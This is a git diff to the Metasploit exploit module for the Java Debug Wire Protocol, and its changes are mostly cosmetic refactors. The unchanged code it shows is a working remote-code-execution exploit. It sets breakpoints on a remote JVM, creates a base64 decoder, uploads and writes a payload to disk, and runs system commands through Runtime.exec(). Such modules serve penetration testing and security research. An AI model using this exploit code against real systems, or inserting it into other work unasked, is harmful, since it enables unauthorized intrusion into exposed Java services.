diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb index b645c29a5e..aefb7c55ae 100644 --- a/modules/exploits/multi/misc/java_jdwp_debugger.rb +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -328,10 +328,10 @@ class Metasploit3 < Msf::Exploit::Remote return unless @classes.empty? formats = [ - ["C", "reftype_tag"], - [@vars["referencetypeid_size"], "reftype_id"], - ["S", "signature"], - ["I", "status"] + ["C", "reftype_tag"], + [@vars["referencetypeid_size"], "reftype_id"], + ["S", "signature"], + ["I", "status"] ] sock.put(create_packet(ALLCLASSES_SIG)) response = read_reply @@ -376,14 +376,15 @@ class Metasploit3 < Msf::Exploit::Remote if signature.nil? return entry if entry["name"].downcase == name.downcase else - return entry if (entry["name"].downcase == name.downcase) && (entry["signature"].downcase == signature.downcase) + if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase + return entry + end end end nil end - # Checks if specified class and method are currently loaded by the target VM and returns them def get_class_and_method(looked_class, looked_method, signature = nil) target_class = get_class_by_name(looked_class) @@ -396,7 +397,6 @@ class Metasploit3 < Msf::Exploit::Remote return target_class, target_method end - # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept") def str2fqclass(s) i = s.rindex(".") @@ -411,7 +411,6 @@ class Metasploit3 < Msf::Exploit::Remote return classname, method end - # Resumes execution of the application after the suspend command or an event has stopped it def resume_vm sock.put(create_packet(RESUMEVM_SIG)) @@ -420,7 +419,6 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Exploit::Failure::Unknown, "No network response") unless response end - # Sets an event request. When the event described by this request occurs, an event is sent from the target VM def send_event(event_code, args) data = [event_code].pack('C') @@ -438,7 +436,6 @@ class Metasploit3 < Msf::Exploit::Remote return response.unpack('N')[0] end - # Waits user defined time for an event sent from the target VM (or force event if possible) def wait_for_event force_net_event unless datastore['BREAKPOINT_PORT'].nil? || (datastore['BREAKPOINT_PORT'] == 0) @@ -447,7 +444,6 @@ class Metasploit3 < Msf::Exploit::Remote return buf end - # Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket def force_net_event print_status("#{peer} - Forcing network event over #{datastore['BREAKPOINT_PORT']}") @@ -470,7 +466,6 @@ class Metasploit3 < Msf::Exploit::Remote remove_socket(rex_socket) end - # Parses a received event and compares it with the expected def parse_event_breakpoint(buf, event_id) r_id = buf[6..9].unpack('N')[0] @@ -483,7 +478,6 @@ class Metasploit3 < Msf::Exploit::Remote return r_id, t_id end - # Clear a defined event request def clear_event(event_code, r_id) data = [event_code].pack('C') @@ -492,7 +486,6 @@ class Metasploit3 < Msf::Exploit::Remote read_reply end - # Invokes a static method. The method must be member of the class type or one of its superclasses, # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked. def invoke_static(class_id, thread_id, meth_id, args = []) @@ -511,7 +504,6 @@ class Metasploit3 < Msf::Exploit::Remote buf end - # Invokes a instance method. The method must be member of the object's type or one of its superclasses, # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked. def invoke(obj_id, thread_id, class_id, meth_id, args = []) @@ -531,7 +523,6 @@ class Metasploit3 < Msf::Exploit::Remote buf end - # Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type. def create_instance(class_id, thread_id, meth_id, args = []) data = format(@vars["referencetypeid_size"], class_id) @@ -549,7 +540,6 @@ class Metasploit3 < Msf::Exploit::Remote buf end - def temp_path return nil unless datastore['TMP_PATH'] unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\') @@ -558,7 +548,6 @@ class Metasploit3 < Msf::Exploit::Remote datastore['TMP_PATH'] end - # Configures payload according to targeted architecture def setup_payload # 1. Setting up generic values. @@ -623,19 +612,24 @@ class Metasploit3 < Msf::Exploit::Remote file end - # Stores the payload on a new string created in target VM def upload_payload(thread_id, pl_exe) size = @vars["objectid_size"] runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "") buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end decoder = unformat(size, buf[1..1+size-1]) - fail_with(Failure::Unknown, "Failed to create Base64 decoder object") if decoder.nil? || (decoder == 0) + if decoder.nil? || decoder == 0 + fail_with(Failure::Unknown, "Failed to create Base64 decoder object") + end cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}") - fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 + if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + end cmd_obj_id = cmd_obj_ids[0]["obj_id"] data = [TAG_OBJECT].pack('C') @@ -643,7 +637,9 @@ class Metasploit3 < Msf::Exploit::Remote data_array = [data] runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B") buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") unless buf[0] == [TAG_ARRAY].pack('C') + unless buf[0] == [TAG_ARRAY].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") + end pl = unformat(size, buf[1..1+size-1]) pl @@ -657,7 +653,9 @@ class Metasploit3 < Msf::Exploit::Remote data_array = [data] runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V") buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) - fail_with(Failure::Unknown, "Exception ocurred when writing to file") unless buf[0] == [TAG_VOID].pack('C') + unless buf[0] == [TAG_VOID].pack('C') + fail_with(Failure::Unknown, "Exception while writing to file") + end end # Closes a file on the server given a execution thread @@ -665,7 +663,9 @@ class Metasploit3 < Msf::Exploit::Remote size = @vars["objectid_size"] runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close") buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"]) - fail_with(Failure::Unknown, "Exception ocurred when closing file") unless buf[0] == [TAG_VOID].pack('C') + unless buf[0] == [TAG_VOID].pack('C') + fail_with(Failure::Unknown, "Exception while closing file") + end end # Executes a system command on target VM making use of java.lang.Runtime.exec() @@ -674,27 +674,37 @@ class Metasploit3 < Msf::Exploit::Remote # 1. Creates a string on target VM with the command to be executed cmd_obj_ids = create_string(cmd) - fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 + if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + end cmd_obj_id = cmd_obj_ids[0]["obj_id"] # 2. Gets Runtime context runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime") buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end rt = unformat(size, buf[1..1+size-1]) - fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") if rt.nil? || (rt == 0) + if rt.nil? || (rt == 0) + fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") + end # 3. Finds and executes "exec" method supplying the string with the command exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec") - fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") if exec_meth.nil? + if exec_meth.nil? + fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") + end data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) data_array = [data] buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array) - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end end # Sets a breakpoint on frequently called method (user-defined) @@ -704,11 +714,15 @@ class Metasploit3 < Msf::Exploit::Remote # 1. Gets reference of the method where breakpoint is going to be setted classname, method = str2fqclass(datastore['BREAKPOINT']) break_class = get_class_by_name(classname) - fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application") unless break_class + unless break_class + fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application") + end get_methods(break_class["reftype_id"]) m = get_method_by_name(break_class["reftype_id"], method) - fail_with(Failure::BadConfig, "Method of Break Class not found") unless m + unless m + fail_with(Failure::BadConfig, "Method of Break Class not found") + end # 2. Sends event request for this method loc = [TYPE_CLASS].pack('C') @@ -718,7 +732,9 @@ class Metasploit3 < Msf::Exploit::Remote data = [[MODKIND_LOCATIONONLY, loc]] r_id = send_event(EVENT_BREAKPOINT, data) - fail_with(Failure::Unknown, "Could not set the breakpoint") unless r_id + unless r_id + fail_with(Failure::Unknown, "Could not set the breakpoint") + end r_id end